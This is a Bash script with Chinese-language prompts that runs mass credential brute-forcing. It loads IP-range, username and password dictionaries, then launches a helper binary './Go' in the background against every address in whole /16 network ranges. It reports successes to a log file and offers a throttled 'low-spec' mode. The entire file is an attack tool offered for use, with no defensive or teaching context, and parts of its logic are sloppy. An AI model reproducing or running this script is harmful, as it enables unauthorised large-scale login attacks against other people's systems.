#!/bin/bash
fileno=0
Myip=$(curl ip.sb)
echo -e "\033[32m 本机:$Myip \033[0m"

ls ip &>/dev/null || fileno=1
if [ $fileno -eq 1 ] ; then
echo -e "\033[31m 请输入你的ip[ip]字典的路径: \033[0m"
read -e ippath
echo -e "\033[32m 成功读取 ip字典在:$ippath \033[0m"
else
ippath=./ip
echo -e "\033[32m 成功读取 ip字典在:'./ip' \033[0m"
fi

ls username &>/dev/null || fileno=1
if [ $fileno -eq 1 ] ; then
echo -e "\033[31m 请输入你的username[username]字典的路径: \033[0m"
read -e usernamepath
echo -e "\033[32m 成功读取 用户字典在 : $usernamepath \033[0m"
else
usernamepath=./username
echo -e "\033[32m 成功读取 用户字典在 : './username' \033[0m"
fi

ls password &>/dev/null || fileno=1
if [ $fileno -eq 1 ] ; then
echo -e "\033[31m 请输入你的password[password]字典的路径: \033[0m"
read -e passwordpath
echo -e "\033[32m 成功读取 密码字典在 : $passwordpath \033[0m"
else
passwordpath=./password
echo -e "\033[32m 成功读取 密码字典在 : './password' \033[0m"
fi

read -ep "请问要开启实时输出吗(线程越多量极大 Y/N ):" infoinfo
if [[ $infoinfo == "Y" || $infoinfo == "y" ]] ; then
info=1
echo -e "\033[32m 开启了实时输出 \033[0m"
else
info=0
echo -e "\033[32m 关闭了实时输出 \033[0m"
fi

sucess=0


echo -e "\033[31m 输入996则开启低配模式 相当于同时254个IP进行破解 \033[0m "
read -p "请输入进程数(如2,代表同时开启两个网段爆破线程  {1,2,3} 注意 一个线程等于拆分一个网段 同时进行65536个线程:" pidnum 

if [ $pidnum -eq 1 ] ; then
echo -e "\033[33m 确认线程为$pidnum \033[0m"
Start=Yes
cp $ippath ./IPIP.log
elif [ $pidnum -eq 2 ] ; then
echo -e "\033[33m 确认线程为$pidnum \033[0m"
Start=Yes
cp $ippath ./IPIP.log
elif [ $pidnum -eq 3 ] ; then
echo -e "\033[33m 确认线程为$pidnum \033[0m"
Start=Yes
cp $ippath ./IPIP.log
elif [ $pidnum -eq 996 ] ; then
echo -e "\033[33m 确认线程为$pidnum \033[0m"
Start=Yes
pidnum=1
jj=1
cp $ippath ./IPIP.log
else
echo -e "\033[31m 无法识别的线程数 \033[0m"
fi

if [ $? -ne 0 ] ; then
echo -e "\033[31m 无法识别的数字 \033[0m"
exit 1
fi

while [ $Start == "Yes" ] ; do

ipline=$(cat $ippath | wc -l)
if [ $pidnum -gt $ipline ] ; then
echo -e "\033[31m 输入线程数超过定义的网段总数 {1,2,3} 注意 一个线程等于拆分一个网段 \033[0m"
exit 1
else
Start=Yes
cess=0
fi
cess=$[$cess+1]

if [ $jj -ne 1 ] ; then

  for aa in $(seq 1 $pidnum) ; do
    Iprang=$(cat $ippath | head -n $aa | tail -n 1)
    ip1=$(echo $Iprang|awk -F '.' '{print $1}')
    ip2=$(echo $Iprang|awk -F '.' '{print $2}')
    for a in {1..254} ;do
      for b in {1..254} ;do
        IPIP=$ip1.$ip2.$a.$b
    ./Go $IPIP $usernamepath $passwordpath &
      done
    done
    if [ $aa -eq $pidnum ] ; then
      echo -e "\033[32m 第$cess 轮线程已开启完毕 \033[0m"
      sleep 2m
      break
    fi
  done
  sleep 2s
  if [ $info -eq 1 ] ; then
  timeout 5m tail -f ./No.log sucesslist.log
  head -n $pidnum > /dev/null
  else
  sleep 5m
  head -n $pidnum > /dev/null
  fi 
else
  for ac in {1..254} ;do
    Iprang=$(cat $ippath | head -n $ac | tail -n 1)
    ip1=$(echo $Iprang|awk -F '.' '{print $1}')
    ip2=$(echo $Iprang|awk -F '.' '{print $2}')
    for bc in {1..254} ;do
      IPIP=$ip1.$ip2.$ac.$bc
      sleep 0.02s
      ./Go $IPIP $usernamepath $passwordpath &
      if [ $bc -gt 253 ] ; then
        for haha in {1..70}; do
        time=70
        time=$[$time-$haha]
	sleep 0.5s
        sleep 0.4s
        sleep 0.2s
        sleep 0.2s
        echo -e "\033[32m 第一轮已经执行完毕,歇一会 $time \033[0m"
        done
      fi
    done
  done
fi
done
